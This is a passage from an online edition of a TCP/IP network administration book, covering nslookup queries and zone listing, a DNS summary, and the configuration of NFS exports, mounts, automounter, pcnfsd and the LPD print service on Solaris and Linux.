You can use the server command to control the server used to resolve queries. This is particularly useful for going directly to an authoritative server to check some information. The following example does just that. In fact, this example contains several interesting commands:

  • First we set type=NS and get the NS records for the zoo.edu domain.

  • From the information returned by this query, we select a server and use the server command to direct nslookup to use that server.

  • Next, using the set domain command, we set the default domain to zoo.edu. nslookup uses this default domain name to expand the hostnames in its queries, in the same way that the resolver uses the default domain name defined in resolv.conf.

  • We reset the query type to ANY. If the query type is not reset, nslookup still queries for NS records.

  • Finally, we query for information about the host tiger.zoo.edu. Because the default domain is set to zoo.edu, we simply enter tiger at the prompt.

% nslookup
Default Server:  peanut.nuts.com
Address:  172.16.12.2

> set type=NS
> zoo.edu
Server:  peanut.nuts.com
Address:  172.16.12.2

Non-authoritative answer:
zoo.edu nameserver = NOC.ZOO.EDU
zoo.edu nameserver = NI.ZOO.EDU
zoo.edu nameserver = NAMESERVER.AGENCY.GOV
Authoritative answers can be found from:
NOC.ZOO.EDU     inet address = 172.28.2.200
NI.ZOO.EDU      inet address = 172.28.2.240
NAMESERVER.AGENCY.GOV inet address = 172.21.18.31
> server NOC.ZOO.EDU
Default Server:  NOC.ZOO.EDU
Address:  172.28.2.200

> set domain=zoo.edu
> set type=any
> tiger
Server:  NOC.ZOO.EDU
Address:  172.28.2.200

tiger.zoo.edu   inet address = 172.28.172.8
tiger.zoo.edu   preference = 10, mail exchanger = tiger.ZOO.EDU
tiger.zoo.edu   CPU=ALPHA OS=UNIX
tiger.zoo.edu   inet address = 172.28.172.8, protocol = 6
         7 21 23 25 79
tiger.ZOO.EDU   inet address = 172.28.172.8
> exit

The final example shows how to download an entire domain from an authoritative server and examine it on your local system. The ls command requests a zone transfer and displays the contents of the zone it receives. [12] If the zone file is more than a few lines long, redirect the output to a file, and use the view command to examine the contents of the file. (view sorts a file and displays it using the UNIX more command.) The combination of ls and view are helpful when tracking down a remote hostname. In the example that follows, the ls command retrieves the big.com zone and stores the information in temp.file. Then view is used to examine temp.file.

[12] For security reasons, many nameservers do not respond to the ls command. See the xfrnets command in Appendix C for information on how to limit access to zone transfers.

peanut% nslookup
Default Server:  peanut.nuts.com
Address:  172.16.12.2

> server minerals.big.com
Default Server:  minerals.big.com
Address:  192.168.20.1

> ls big.com > temp.file
[minerals.big.com]
########
Received 406 records.
> view temp.file
 acmite                         192.168.20.28
 adamite                        192.168.20.29
 adelite                        192.168.20.11
 agate                          192.168.20.30
 alabaster                      192.168.20.31
 albite                         192.168.20.32
 allanite                       192.168.20.20
 altaite                        192.168.20.33
 alum                           192.168.20.35
 aluminum                       192.168.20.8
 amaranth                       192.168.20.85
 amethyst                       192.168.20.36
 andorite                       192.168.20.37
 apatite                        192.168.20.38
 beryl                          192.168.20.23
--More-- q
> exit

These examples show that nslookup allows you to:

  • Query for any specific type of standard resource record.

  • Directly query the authoritative servers for a domain.

  • Get the entire contents of a domain into a file so you can view it.

Use nslookup's help command to see its other features. Turn on debugging (with set debug) and examine the additional information this provides. As you play with this tool, you'll find many helpful features.

Previous: 8.3 Configuring named | TCP/IP Network Administration | Next: 8.5 Summary
8.3 Configuring named | Book Index | 8.5 Summary


[Chapter 8] 8.5 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 8.4 Using nslookup Chapter 8
Configuring DNS Name Service 		Next: 9. Configuring Network Servers

8.5 Summary

Domain Name Service (DNS) is an important user service that should be used on every system connected to the Internet. UNIX implementations of DNS are based on the Berkeley Internet Name Domain (BIND) software. BIND provides both a DNS client and a DNS server.

The BIND client issues name queries and is implemented as library routines. It is called the resolver. The resolver is configured in the resolv.conf file. All systems run the resolver.

The BIND server answers name queries and it runs as a daemon. It is called named. named is configured by the named.boot file, which defines where the server gets the domain database information and the type of server being configured. The server types are primary, secondary and caching servers. Because all servers are caching servers, a single configurtaion often encompasses more than one server type.

The original domain database source files are found on the primary server. The domain database file is called a zone file. The zone file is constructed from standard resources records (RR) that are defined in RFCs. The RRs share a common structure and are used to define all DNS database information.

The DNS server can be tested using nslookup. This test tool is included with the BIND release.

In this chapter we have seen how to configure and test domain name service. In the next chapter we configure several other services.

Previous: 8.4 Using nslookup | TCP/IP Network Administration | Next: 9. Configuring Network Servers
8.4 Using nslookup | Book Index | 9. Configuring Network Servers


[Chapter 9] Configuring Network Servers

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 8.5 Summary Chapter 9 Next: 9.2 Line Printer Daemon

9. Configuring Network Servers

Contents:
The Network File System
Line Printer Daemon
Network Information Service
A BOOTP Server
DHCP
Managing Distributed Servers
Mail Servers
Summary

Now our attention turns to configuring network servers. As with name service, these servers are not strictly required for the network to operate, but they provide services that are central to the network's purpose.

There are many network services - many more than can be covered in this chapter. We concentrate on servers that provide "computer-to-computer" services. [1] The services covered in this chapter are:

[1] Notably absent is sendmail. It requires so much discussion, it has its own chapter (Chapter 10, sendmail )!

  • The Network File System (NFS)

  • The Line Printer Daemon (LPD)

  • The Network Information Service (NIS)

  • The Bootstrap Protocol (BOOTP)

  • Dynamic Host Configuration Protocol (DHCP)

  • The Post Office Protocol (POP)

We begin with NFS, which is the server that provides file sharing on UNIX networks.

9.1 The Network File System

The Network File System (NFS) allows directories and files to be shared across a network. It was originally developed by Sun Microsystems, but is now supported by virtually all UNIX implementations and many non-UNIX operating systems. Through NFS, users and programs can access files located on remote systems as if they were local files. In a perfect NFS environment, the user neither knows nor cares where files are actually stored.

NFS has several benefits:

  • It reduces local disk storage requirements because a network can store a single copy of a directory, while the directory continues to be fully accessible to everyone on the network.

  • NFS simplifies central support tasks - files can be updated centrally, yet available throughout the network.

  • NFS allows users to use familiar UNIX commands to manipulate remote files instead of learning new commands. There is no need to use ftp or rcp to copy a file between hosts on the network; cp works fine.

There are two sides to NFS - a client side and a server side. The client is the system that uses the remote directories as if they were part of its local filesystem. The server is the system that makes the directories available for use. Attaching a remote directory to the local filesystem (a client function) is called mounting a directory. Offering a directory for remote access (a server function) is called sharing a directory. [2] Frequently, a system runs both the client and the server NFS software. In this section we'll look at how to configure a system to share and mount directories using NFS.

[2] An older term for this function is exporting. Many systems still refer to file sharing as exporting.

If you're responsible for an NFS server for a large site, you should take care in planning and implementing the NFS environment. The discussion in this chapter tells how NFS is configured to run on a client and a server, but you may want more details to design an optimal NFS environment. For a comprehensive treatment, see Managing NFS and NIS, by Hal Stern (O'Reilly & Associates).

9.1.1 NFS Daemons

The Network File System is run by several daemons, some performing client functions and some performing server functions. Before we discuss the NFS configuration, let's look at the function of the daemons that run NFS:

nfsd [nservers]

The NFS daemon, nfsd, runs on NFS servers. This daemon services the client's NFS requests. The nservers option is available on Solaris systems. It specifies how many daemons should be started.

mountd

The NFS mount daemon, mountd, processes the clients' mount requests. NFS servers run the mount daemon.

lockd

The lock daemon, lockd, handles file lock requests. Both clients and servers run the lock daemon. Clients request file locks, and servers grant them.

statd

The network status monitor daemon, statd, is required by lockd to provide monitoring services. In particular, it allows locks to be reset properly after a crash. Both clients and servers run statd.

The daemons necessary to run NFS are started from boot scripts. On a Solaris system, two scripts located in the /etc/init.d directory, nfs.client and nfs.server, handle this job. The nfs.client script starts the statd and lockd programs. [3] NFS server systems run those two daemons, plus the NFS server daemon, nfsd, and the mount server daemon, mountd. On Solaris systems, the nfs.server script starts mountd and 16 copies of nfsd.

[3] On your system, the prefix "rpc." may be used on the daemon names. For example, the Slackware Linux system uses the filename rpc.nfsd for the NFS daemon. Check your system's documentation.

Each system has its own technique for starting these daemons. If some of the daemons aren't starting, make sure your startup scripts are correct.

9.1.2 Sharing Filesystems

The first step in configuring a server is deciding which filesystems will be shared, and what restrictions will be placed on them. Only filesystems that provide a benefit to the client should be shared. Before you share a filesystem, think about what purpose it will serve. Some common reasons for sharing filesystems are:

  • To provide disk space to diskless clients

  • To prevent unnecessary duplication of the same data on multiple systems

  • To provide centrally supported programs and data

  • To share data among users in a group

Once you've selected the filesystems you'll share, you must configuring them for sharing using the appropriate commands for your system. In the following sections we emphasize the way this is done on Solaris systems. It is very different on Linux systems. Check your system's documentation to find out exactly how it implements NFS file sharing.

9.1.2.1 The share command

On Solaris systems, directories are shared using the share command.

A simplified syntax for the share command is:

share -F nfs [-o options] pathname

where pathname is the path of the directory the server is offering to share with its clients, and options are the access controls for that directory. The commonly used options are:

rw

The rw option grants read and write access to the shared filesystem. It can be specified in the form rw=host:host... to identify the individual hosts that are granted this access. When used in this way, only the hosts identified in the list are given access to the filesystem. If the colon-separated list of hostnames is not provided with the rw option, all hosts are given read/write access to the filesystem. In fact, if no options are specified at all, the share command defaults to giving all clients read/write access. This default is acceptable if your systems are on an isolated network, but if they are on a connected network, this could open up a security hole. It is the best practice to restrict access to those hosts that you really trust.

ro

This option limits access to read-only. It also can be specified with a colon-separated host list, e.g., ro=host:host.... When the host list is included, only the hosts on the list have access and that access is limited to read-only.

root=host

This option allows the root user on the specified host to have root access to the shared filesystem. Normally, the root user on a remote system is mapped to the userid nobody and given only normal user privileges. Granting root access is a big security risk.

The rw and ro options can be combined to grant different levels of access to different clients. For example:

share -F nfs -o rw=almond:pecan ro  /usr/man
share -F nfs -o rw=peanut:almond:pecan:walnut  /export/home/research

The first share command grants read and write access to almond and peanut and read-only access to all other clients. On the other hand, the second share command grants read/write access to peanut, almond, pecan, and walnut, and no access of any kind to any other client.

The share command does not survive a boot. Put the share commands in the /etc/dfs/dfstab file to make sure that the filesystems continue to be offered to your clients even if the system reboots. Here is a sample dfstab file containing our two share commands:

% cat /etc/dfs/dfstab
#   place share(1M) commands here for automatic execution
#   on entering init state 3.
#
#   share [-F fstype] [ -o options] [-d "<text>"] <pathname> [resource]
#   .e.g,
#   share  -F nfs  -o rw=engineering  -d "home dirs"  /export/home2
share -F nfs -o rw=almond:pecan ro  /usr/man
share -F nfs -o rw=peanut:almond:pecan:walnut  /export/home/research

The share command, the dfstab file, and even the terminology "share" are Solaris-specific. Most UNIX systems say that they are exporting files, instead of sharing files, when they are offering files to NFS clients. Furthermore, they do not use the share command or the dfstab file; instead, they offer filesystems through the /etc/exports file. Linux is an example of such a system.

9.1.2.2 The /etc/exports file

The /etc/exports file is the NFS server configuration file for Linux systems. It controls which files and directories are shared (exported), which hosts can access them, and what kinds of access are allowed. A sample /etc/exports file might contain these entries:

/usr/man        almond(rw) pecan(rw)  (ro)
/usr/local      (ro)
/home/research  peanut(rw) almond(rw) pecan(rw) walnut(rw)

This sample file says that:

  • /usr/man can be mounted by any client, but it can be written to only by almond and pecan. Other clients have read-only access.

  • /usr/local can be mounted by any client, with read-only access.

  • /home/research can be mounted only by the hosts peanut, almond, pecan, and walnut. These four hosts have read-write access.

The options used in each of the entries in the /etc/exports file determine what kinds of access are allowed. The information derived from the sample file is based on the options specified on each line in the file. The general format of the entries is as follows:

directory [host(option)]...

directory names the directory or file that is available for export. The host is the name of the client granted access to the exported directory while the option specifies the type of access being granted. The options used in the sample file are:

ro

Read-only prevents NFS clients from writing to this directory. Attempts by clients to write to a read-only directory fail with the message: "Read-only filesystem" or "Permission denied." If ro is specified without a client hostname, all clients are granted read-only access.

rw

Read-write permits clients to read and write to this directory. When specified without hostname, as simply (rw), all clients are granted read-write access. If a hostname is specified, only the named host is given read-write permission.

9.1.3 Mounting Remote Filesystems

You need some basic information before you can decide which NFS directories to mount on your system. You need to know which servers are connected to your network, and which directories are available from those servers. A directory cannot be mounted unless it is first exported by a server.

Your network administrator is a good source for this information. The administrator can tell you what systems are providing NFS service, what directories they are exporting, and what these directories contain. If you are the administrator of an NFS server, you should develop this type of information for your users. See Chapter 4, Getting Started .

On Solaris systems you can also obtain information about the shared directories directly from the servers by using the showmount command. The NFS servers are usually the same centrally supported systems that provide other services such as mail and domain name service. Select a likely server and query it with the command showmount -e hostname. In response to this command, the server lists the directories that it exports and the conditions applied to their export.

For example, a showmount -e query to filbert produces the following output:

% showmount -e filbert
export list for filbert:
/usr/man           (everyone)
/home/research     peanut,almond,walnut,pecan
/usr/local         (everyone)

The export list shows the NFS directories exported by filbert, as well as who is allowed to access those directories. From this list, peanut's administrator may decide to mount any of the directories offered by filbert. Our imaginary administrator decides to:

  1. Mount /usr/man from filbert instead of maintaining the man pages locally.

  2. Mount /home/research to more easily share files with other systems in the research group.

  3. Mount the centrally maintained programs in /usr/local.

These selections represent some of the most common motivations for mounting NFS directories. These are to:

  • Save disk space

  • Share files with other systems

  • Maintain common files centrally

The amount to which you use NFS is a personal choice. Some people prefer the greater personal control you get from keeping files locally, while others prefer the convenience offered by NFS. Your site may have guidelines for how NFS should be used, which directories should be mounted, and which files should be centrally maintained. Check with your network administrator if you're unsure about how NFS is used at your site.

9.1.3.1 The mount command

A client must mount a shared directory before using it. "Mounting" the directory attaches it to the client's filesystem hierarchy. Only directories offered by the servers can be mounted, but any part of the offered directory, such as a subdirectory or a file, can be mounted.

NFS directories are mounted using the mount command. The general structure of the mount command is:

mount hostname:remote-directory local-directory

The hostname identifies an NFS server, and the remote-directory identifies all or part of a directory offered by that server. The mount command attaches that remote directory to the client's filesystem using the directory name provided for local-directory. The client's local directory, called the mount point, must be created before mount is executed. Once the mount is completed, files located in the remote directory can be accessed through the local directory exactly as if they were local files.

For example, assume that filbert.nuts.com is an NFS server and that it shares the files shown in the section above. Further assume that the administrator of peanut wants to access the /home/research directory. The administrator simply creates a local /home/research directory, and mounts the remote /home/research directory offered by filbert on this newly created mount point.

# mkdir /home/research
# mount filbert:/home/research /home/research

Once a remote directory is mounted, it stays attached to the local file system until it is explicitly dismounted or the local system reboots. To dismount a directory, use the umount command. On the umount command line, specify either the local or remote name of the directory that is to be dismounted. For example, the administrator of peanut can dismount the remote filbert:/home/research filesystem from the local /home/research mount point, with either:

# umount /home/research

or:

# umount filbert:/home/research

Booting also dismounts NFS directories. Because systems frequently wish to mount the same filesystems every time they boot, UNIX provides a system for automatically remounting after a boot.

9.1.3.2 The vfstab and fstab files

UNIX systems use the information provided in a special table to remount all types of filesystems, including NFS directories, after a system reboot. The table is a critical part of providing users consistent access to software and files, so care should be taken whenever it is modified. Two different files with two different formats are used for this purpose by the different flavors of UNIX. Linux and BSD systems use the /etc/fstab file and Solaris, our System V example, uses the /etc/vfstab file.

The format of the NFS entries in the Solaris vfstab file is:

filesystem  - mountpoint  nfs  -  yes  options

The various fields in the entry must appear in the order shown above and they must be separated by whitespace. The items in bold (both dashes and the words nfs and yes) are keywords that must appear exactly as shown above. filesystem is the name of the directory offered by the server. mountpoint is the pathname of the local mount point, and options are the mount options discussed below. A sample NFS vfstab entry is:

filbert:/home/research  -  /home/research  nfs  -  yes  rw,soft

This entry mounts the NFS filesystem filbert:/home/research on the local mount point /home/research. The filesystem is mounted with the rw and soft options set. The mount options available on Solaris systems are:

rw

If permitted, mount the filesystem read/write. If the filesystem is restricted by the server to read-only, a warning is issued and the filesystem is mounted read-only.

ro

Mount the filesystem read-only.

remount

If the filesystem is already mounted read-only, remount the filesystem as read/write.

soft

If the server fails to respond, return an error and don't retry the request.

hard

If the server fails to respond, retry until it does respond. This is the default.

bg

Do the retries in background mode.

fg

Do the retries in foreground mode.

intr

Allow a keyboard interrupt to kill a process that is hung waiting for the server to respond. Hard-mounted filesystems can become hung because the client retries forever, even if the server is down. This is a default.

nointr

Don't allow keyboard interrupts. In general, this is a bad idea.

nosuid

Do not allow an executable stored on the mounted filesystem to run setuid. This improves security but may limit utility.

On the Solaris system, the NFS filesystems defined in the vfstab file are mounted by a mountall command located in a startup file. On the Linux system, the startup file contains a mount command with the -a flag set, which causes Linux to mount all filesystems listed in fstab. The format of NFS entries in the /etc/fstab file is:

filesystem  mountpoint  nfs  options

The fields must appear in the order shown and must be separated by whitespace. The keyword nfs is required for NFS filesystems. filesystem is the name of the directory being mounted. mountpoint is the pathname of the local mount point. options are any of the Linux mount options listed in Table 9.1

Table 9.1: Linux Mount Options
Option | Purpose
async | Use asynchronous file I/O.
auto | Mount when -a option is used.
dev | Allow character and block special devices on the filesystem.
exec | Permit execution of files from the filesystem.
noauto | Don't mount with the -a option.
nodev | Don't allow character and block special devices on the filesystem.
noexec | Don't allow execution of files from the filesystem.
nosuid | Don't allow programs stored on the filesystem to run setuid or setgid.
nouser | Only root can mount the filesystem.
remount | Remount a mounted filesystem with new options.
ro | Mount the filesystem read-only.
rw | Mount the filesystem read-write.
suid | Allow programs to run setuid or setgid.
sync | Use synchronous filesystem I/O.
user | Permit ordinary users to mount the filesystem.
soft | Allow the access to time out if the server doesn't respond.
timeo=time | The length of time before an access times out. Must be used with soft.

A grep of fstab shows sample NFS entries. [4]

[4] grep is used because the fstab file contains other information not related to NFS.

% grep nfs /etc/fstab
filbert:/usr/spool/mail   /usr/spool/mail   nfs rw     0 0
filbert:/usr/man          /usr/man          nfs rw     0 0
filbert:/home/research    /home/research    nfs rw     0 0

The grep shows that there are three NFS filesystems contained in the /etc/fstab file. The mount -a command in the boot script remounts these three directories every time the system boots.

The vfstab and fstab files are the most common methods used for mounting filesystems at boot time. There is another technique that automatically mounts NFS filesystems, but only when they are actually needed. It is called automounter.

9.1.4 NFS Automounter

Automounter is a feature available in some NFS implementations. The best example of automounter is the implementation that comes with Solaris, which is the implementation we use in this section.

The automounter configuration files are called maps. Three basic map types are used to define the automounter filesystem (autofs).

These map types are:

Master map

The configuration file read by automount. It lists all of the other maps that are used to define the autofs filesystem.

Direct map

A configuration file that lists the mount points, pathnames, and options of filesystems that are to be mounted by the automounter daemon (automountd).

Indirect map

A configuration file that contains pathnames and "relative" mount points. The mount points are relative to a directory path declared in the master map. How indirect maps are used will become clear in the examples.

On Solaris systems the automounter daemon (automountd) and the automount command are started by the /etc/init.d/autofs script. The script is run with the start option to start automounter, i.e., autofs start. It is run with the stop option to shut down automounter. automount and automountd are two distinct, separate programs. automountd runs as a daemon and dynamically mounts filesystems when they are needed. automount processes the auto_master file to determine the filesystems that can be dynamically mounted.

To use automounter, first configure the /etc/auto_master file. Entries in the auto_master file have this format:

mount-point     map-name        options

The Solaris system comes with a default auto_master file preconfigured. Customize the file for your configuration. Comment out the +auto_master entry. It is only used if you run NIS+ and your servers offer a centrally maintained auto_master map. Also ignore the /xfn entry. It does not apply to systems that use DNS. Add an entry for your direct map. In the example it is called auto_direct. Here is /etc/auto_master after our modifications:

# Master map for automounter
#
#+auto_master
#/xfn           -xfn
/net            -hosts          -nosuid
/home           auto_home
/-              auto_direct

All lines that begin with a sharp sign (#) are comments, including the +auto_master and /xfn lines we commented out. The first real entry in the file specifies that the shared filesystems offered by every NFS server listed in the /etc/hosts file are automatically mounted under the /net directory. A sub-directory is created for each server under /net using the server's hostname. For example: assume that filbert is listed in the hosts file and that it exports the /usr/local directory. This auto_master entry automatically makes that remote directory available on the local host as /net/filbert/usr/local.

The second entry automatically mounts the home directories listed in the /etc/auto_home map under the /home directory. A default /etc/auto_home file is provided with the Solaris system. Comment out the +auto_home entry found in the default file. It is used only if you run NIS+ and your servers offer a centrally maintained auto_home map. Add entries for individual user home directories or for all home directories from specific servers. Here is a modified auto_home map:

# Home directory map for automounter
#
#+auto_home
craig           almond:/export/home/craig
*               pecan:/export/home/&

The first entry mounts the /export/home/craig filesystem shared by almond on the local mount point /home/craig. The auto_home map is an indirect map, so the mount point specified in the map (craig) is relative to the /home mount point defined in the auto_master map. The second entry mounts every home directory found in the /export/home filesystem offered by pecan to a "like-named" mount point on the local host. For example: assume that pecan has two home directories, /export/home/daniel and /export/home/kristin. Automounter makes them both available on the local host as /home/daniel and /home/kristin. The asterisk (*) and the ampersand (&) are wildcard characters used specifically for this purpose in autofs maps.

That's it for the auto_home map. Refer back to the auto_master map. The third and final entry in the /etc/auto_master file is:

/-              auto_direct

We added this entry for our direct map. The special mount point /- means that the map name refers to a direct map. Therefore the real mount points are found in the direct map file. We named our direct map file /etc/auto_direct. There is no default direct map file. You must create it from scratch. The file we created is:

# Direct map for automounter
#
/home/research  -rw       filbert:/home/research
/usr/man        -ro,soft  pecan,almond,filbert:/usr/share/man

The format of entries in a direct map file is:

mount-point     options   remote filesystem

Our sample file contains two typical entries. The first entry mounts the remote filesystem /home/research offered by the server filbert on the local mount point /home/research. It is mounted read-write. The second entry mounts the man pages read-only with a "soft" timeout. [5] Note that three servers are specified for the man pages in a comma-separated list. If a server is unavailable or fails to respond within the soft timeout period, the client asks the next server in the list. This is one of the nice features of automounter.

[5] See the description of NFS mount options earlier in this chapter.

Automounter has four key features: the -hosts map, wildcarding, automounting, and multiple servers. The -hosts map makes every exported filesystem from every server listed in the /etc/hosts file available to the local user. The wildcard characters make it very easy to mount every directory from a remote server to a like-named directory on the local system. Automounting goes hand-in-glove with these two features because only the filesystems that are actually used are mounted. While -hosts and wildcards make a very large number of filesystems available to the local host, automounting limits the filesystems that are actually mounted to those that are needed. The last feature, multiple servers, improves the reliability of NFS by removing the dependence on a single server.

9.1.5 NFS Authentication Server

The PC NFS Authentication and Print Server (pcnfsd) is needed to support non-UNIX clients on an NFS network. The print services of this daemon are covered in the next section. The authentication services are the services needed by NFS.

The reason NFS needs an authentication server for some clients springs from the difference between trusted host security and password authenticated security. Trusted host security is discussed in Chapter 12, Network Security . Essentially, it works this way: we trust that a remote host has already authenticated its users, and we grant those users equivalent access to our local host. This is more or less how NFS treats its clients. The Solaris share command grants NFS access to hosts. A user is allowed to access files through NFS using standard UNIX user, group, and world file permissions based on the userid (UID) and groupid (GID) provided by the trusted host. Remember, unless a share command option is used to restrict access, all hosts are trusted to access the shared filesystem.

The trusted host model does not work for non-UNIX clients for a couple of reasons. First, some systems do not perform local user authentication; for example, anyone who sits at the keyboard of a DOS PC has complete access to the system. Second, some systems do not employ user or group IDs and do not have any values that can be mapped to the UNIX user or group file permissions. At best, an unauthenticated user can be granted world permissions. [6] We need a server that authenticates usernames and passwords and assigns UIDs and GIDs to the authenticated users. That's what the PC NFS authentication server does.

[6] Users who have not been authenticated are assigned the user ID nobody and given world permissions.

The authentication server can run on any system on the network. It is not necessary to run it on the NFS server, but that is the most common configuration. The PC NFS authentication server is not included in the software of all UNIX systems. It is included with our Linux system but not with our Solaris system. If it doesn't come with your UNIX system, don't worry; the source code for pcnfsd is available from many anonymous FTP servers on the Internet. Download the source code. Compile the software with make. [7] If pcnfsd compiles without errors, copy the daemon into a system directory such as /usr/etc. Then add code to start pcnfsd from a boot script. On a Slackware Linux system, simply uncomment the lines in the /etc/rc.d/rc.inet2 file that start rpc.nfsd.

[7] See Networking Personal Computers with TCP/IP by Craig Hunt (O'Reilly & Associates) for a full example of downloading, compiling, and installing pcnfsd.

Normally starting a daemon from inetd is an alternative to starting it from a boot script. However, Sun cautions against starting pcnfsd from inetd because the slow startup of this daemon can cause time-out errors.

Once the pcnfsd daemon is installed and running, the server authenticates usernames and passwords for its clients. Here's how. When the user asks to mount a remote filesystem, the client software prompts him for a username and password. It sends them to the authentication server. The server validates them against its /etc/passwd file. A user that can successfully login to the server is consider to be a valid NFS user. The server sends the client the UID and GID that are assigned to the user in the passwd file. The client uses them for NFS access.

The authentication server must have an entry in the /etc/passwd file for every user who needs NFS access. It is common for a large UNIX server, such as the mail server that has an account for every mail user, to be used as the authentication server.

9.1.5.1 NFS print services

NFS-based print services are easy to understand and simple to configure. The NFS server exports a printer spool directory to its clients, and the clients copy print files into that directory. pcnfsd sends files deposited in the directory to printers accessible to the server. Any printer defined by the server can be used.

To add NFS print service to an NFS server, first install pcnfsd. Next, make a print spool directory on the server for the print clients. Add the spool directory to the shared filesystems in the /etc/dfs/dfstab file or /etc/exports file, as appropriate for your system.

Finally tell pcnfsd what directory to use for spooling print jobs. Use the spool command in the /etc/pcnfsd.conf configuration file to define the directory name on most systems. On others, for example our Linux system, define the directory on the pcnfsd command line. See the pcnfsd manpage for details.

Finished! Running pcnfsd and exporting the printer spool directory are all that is required to configure an NFS print server, assuming that the printers are already properly configured. Check the printers by logging directly into the print server and issuing an lpr command for each printer you wish to test. See the following section on lpr and lpd if a printer is not properly configured.

Previous: 8.5 Summary | TCP/IP Network Administration | Next: 9.2 Line Printer Daemon
8.5 Summary | Book Index | 9.2 Line Printer Daemon


[Chapter 9] 9.2 Line Printer Daemon

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.1 The Network File System Chapter 9
Configuring Network Servers 		Next: 9.3 Network Information Service

9.2 Line Printer Daemon

The Line Printer Daemon (lpd) provides printer services for local and remote users. lpd manages the printer spool area and the print queues. lpd is started at boot time from a startup script. It is generally included in the startup of Linux and BSD systems by default, so you might not need to add it to your startup script. For example, it is started by the /etc/rc.d/rc.inet2 script on a Slackware Linux system.

9.2.1 The printcap File

When lpd starts, it reads the /etc/printcap file to find out about the printers available for its use. The printcap file defines the printers and their characteristics. Configuring a printcap file is the scariest part of setting up a UNIX print server. It scares system administrators because the parser that reads the file is very finicky, and the syntax of the parameters in the file is terse and arcane. Most parser problems can be avoided by following these rules:

  • Start each entry with a printer name that begins in the first column. No white-space should precede the first printer name. Multiple printer names can be used if they are separated by pipe characters (|). One entry must have the printer name lp. If you have more than one printer on the server, assign lp to the "default" printer.

  • Continue printer entries across multiple lines by escaping the newline character at the end of the line with a backslash (\), and by beginning the following line with a tab. Take care that no blank space comes after the backslash. The character after the backslash must be the newline character.

  • Every field, other than the printer name, begins and ends with a colon. The character before the backslash on a continued line is a colon and the first character after the tab on the continuation line is a colon.

  • Begin comments with a sharp sign (#).

The configuration parameters used in a printcap file describe the characteristics of the printer. These characteristics are called "capabilities" in the printcap documentation, but really they are the printer characteristics that lpd needs to know in order to communicate with the printer. Parameters are identified by names that are two characters long and are usually assigned a value. The syntax of the parameters varies slightly depending on the type of value they are assigned. Parameters come in three different flavors:

Boolean

All printcap Boolean values default to "false." Specifying a Boolean enables its function. Booleans are specified simply by entering the two-character parameter name in the file. For example, :rs: enables security for remote users.

Numeric

Some parameters are assigned numeric values. For example, :br#9600: sets the baud rate for a serial printer.

String

Some parameters use string values. For example, :rp=laser: defines the name of a remote printer.

A glance at the manpage shows that there are many printcap parameters. Thankfully, you'll never need to use most of them. Most printer definitions are fairly simple, and most printcap files are small. Writing a printcap from scratch is often unnecessary. Ask the other system administrators on the newsgroup for your system. You'll be surprised how often others have already solved the problem and how willing they are to help.

Print servers usually have only one or two directly attached printers; any other printers defined in the printcap are probably remote printers. Most, if not all, of the printers defined in a client's printcap are remote printers.

#
# Remote LaserWriter
#
lw:\
    :lf=/var/adm/lpd-errs:\
    :lp=:rm=pecan:rp=lw:\
    :sd=/var/spool/lpd-lw:

The lw printer in this sample printcap file is a remote printer. The remote machine to which the printer is attached is defined by the :rm=pecan: parameter and the name of the remote printer on that machine is defined by the :rp=lw: parameter. The lf parameter points to the log file used to log status and error messages. Multiple printers can use the same log file. The final parameter, sd, defines the spool directory. Each printer has its own unique spool directory. Defining the remote printer in the client's printcap file is all that is needed to configure an LPD client.

9.2.1.1 LPD security

The line printer daemon uses trusted host security, and it can use the same security file (hosts.equiv) as the r commands. [8] All of the users on a host listed in the server's hosts.equiv file are permitted to use the server's printers. To restrict access to only those remote users who have accounts on the server, include the :rs: Boolean in the printer description in the printcap file. When :rs: is specified, only users who are logged into "like-named" accounts on a trusted host are granted access to the printer. This parameter is applied on a printer-by-printer basis, so it is possible to restrict access to a special printer while permitting broader access to the other printers on the system.

[8] See Chapter 12 for more information about the r commands and trusted host security.

A problem with using the hosts.equiv file for printer access is that the file also grants "password-free" login access. It is common to want to share a printer without wanting to grant any other access to the print server. To accommodate this, lpd also uses the /etc/hosts.lpd file for security. A trusted host defined in that file is given access only to printers, and the :rs: parameter works with this host just as it does with a host defined in the hosts.equiv file.

The syntax of the hosts.lpd file is exactly the same as the syntax of the hosts.equiv file. A hosts.lpd file might contain:

brazil
acorn

This example shows a file that restricts printer access to the users who are logged into brazil and acorn.

9.2.1.2 Using LPD

Print jobs are sent to the line printer daemon using the Line Printer Remote (lpr) program. The lpr program creates a control file and sends it and the print file to lpd. There are many possible lpr command-line arguments, but in general the command simply identifies the printer and the file to be printed, as in:

% lpr -Plj ch09

This command sends a file called ch09 to a printer called lj. The printer can be local or remote. It doesn't matter as long as the printer is defined in the printcap file and therefore known to lpd.

The client software provides commands to allow the user to check the status of the print job. Table 9.2 lists these commands, their syntax, and their meaning.

Table 9.2: Line Printer Commands
Command | Usage
lpc restart [printer] | Starts a new printer daemon.
lpc status [printer] | Displays printer and queue status.
lpq -P printer [user] [job] | Lists the jobs in the printer's queue.
lprm -P printer job | Removes a print job from the queue.

In this syntax printer is the name of the printer as defined in the /etc/printcap file, user is the username of the owner of a print job, and job is the job number associated with the print job while it is waiting in the queue. The keyword all can be used in place of a printer name in any lpc command to refer to all printers.

While lpc is primarily for the system administrator, the status and restart commands can be used by anyone. All of the commands shown in Table 9.2 are available to users.

The lpq command displays a list of jobs queued for a printer. Command-line arguments permit the user to select which printer queue is displayed and to limit the display from that queue to a specific user's jobs or even to a specific job. Here's an example of displaying the queue for the printer laser:

% lpq -Plaser
Rank   Owner      Job  Files                              Total Size
1st    tyler      405   ...                                5876 bytes
2nd    daniel     401   ...                               12118 bytes
3rd    daniel     404   ...                               12118 bytes

A queued print job can be removed by the owner of the job with the lprm command. Assume that daniel wants to remove print job number 404 shown in the example above. He enters the following command:

% lprm -Plaser 404
dfA404acorn dequeued
cfA404acorn dequeued

Along with the r commands, lpd and lpr were among the first commands created for UNIX to exploit the power of TCP/IP networking. Managing printers is primarily a system administration task. Only those aspects of LPD related to remote printing and network security are covered here.

9.2.2 Solaris Line Printer Service

The Solaris system uses the Line Printer (LP) print service that is used by most System V UNIX systems. LP offers the same type of service as LPD.

